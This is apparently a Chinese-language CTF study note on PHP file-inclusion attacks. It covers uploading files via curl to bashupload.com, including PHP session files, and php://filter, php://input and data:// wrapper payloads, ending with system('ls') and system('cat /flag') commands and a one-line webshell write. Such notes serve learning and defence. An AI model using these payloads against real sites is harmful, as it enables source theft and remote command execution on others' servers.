bashupload / upload files from command line
遠程文件包含
介紹一個上傳文件的網站
bashupload.com
簡介
借助bashupload.com,可以簡樸地從下令行上傳文件,剖析給其他的服務器,桌面和移動裝備,最大支持25G。上傳的文件會被保留7天,時代可以無限次下載。
直接打開 https://bashupload.com 這個網站,首頁異常簡練,直接告訴你最主要的上傳下令,下方則是其他情形的下令示例的鏈接。
直接使用curl下令即可上傳文件,下令執行完成會給出下載的鏈接。
其中name.txt是把你希望最終鏈接出現的文件名,@后面是內陸的文件名。
curl https://bashupload.com/name.txt --data-binary @file.txt
獲得下載鏈接之后,直接使用wget即可下載
wget https://bashupload.com/xxxxx/name.txt
標紅是隨機生成
無論是curl命令上傳還是網頁直接上傳
效果一樣(標紅的路徑隨機生成,所以不一樣)
包含session文件
session、cookie、token的區別?_cookie session token區別-CSDN博客
可以先根據嘗試包含到SESSION文件,在根據文件內容尋找可控變量,在構造payload插入到文件中,最后包含即可。
利用條件:
找到Session內的可控變量
Session文件可讀寫,并且知道存儲路徑
php的session文件的保存路徑可以在phpinfo的session.save_path看到。
session常見存儲路徑:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在發送的請求的cookie字段中可以看到。
相關案例可以查看這道CTF題一道CTF題:PHP文件包含
?
?php偽協議
使用條件
file://是訪問本地文件
php://filter是查源碼
php://filter/convert.base64-encode/resource=文件路徑
php://filter/read=string.rot13/resource=<目標文件名> //rot13編碼后讀取文件內容
php://filter/convert.iconv.utf-8.utf-7/resource=<目標文件名> //將utf8編碼轉換utf7編碼
php://filter/convert.iconv.utf8.utf16/resource=<目標文件名> //將utf8編碼轉換utf16編碼
php://imput是運行代碼
利用該方法,我們可以直接寫入php文件,輸入file=php://input
,然后使用burp抓包,寫入php代碼:
發送報文,可以看到本地生成了一句話木馬:
data:// 偽協議的基本格式如下:
不編碼:
data://text/plain,<?php phpinfo();?>
編碼:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
data://[<MIME-type>][;charset=<encoding>][;base64],<data>
MIME-type:指定數據的類型,默認為 text/plain。
charset(可選,默認為UTF-8):指定數據的編碼類型,如 utf-8。
base64(可選):如果數據經過 Base64 編碼,則需要加上 ;base64 標識。
data:實際的數據內容。
使用方式:在url后加上?file=data://text/plain,<?php system('ls'); ?>,可以使系統列出文件列表。亦可對data部分代碼進行url編碼繞過字符串過濾
zip://絕對路徑#壓縮包里面的文件名
傳遞的參數=system("ls");
查詢當前目錄
傳遞的參數=system("ls /");
查看根目錄
傳遞的參數=system("cat /flag");
打印flag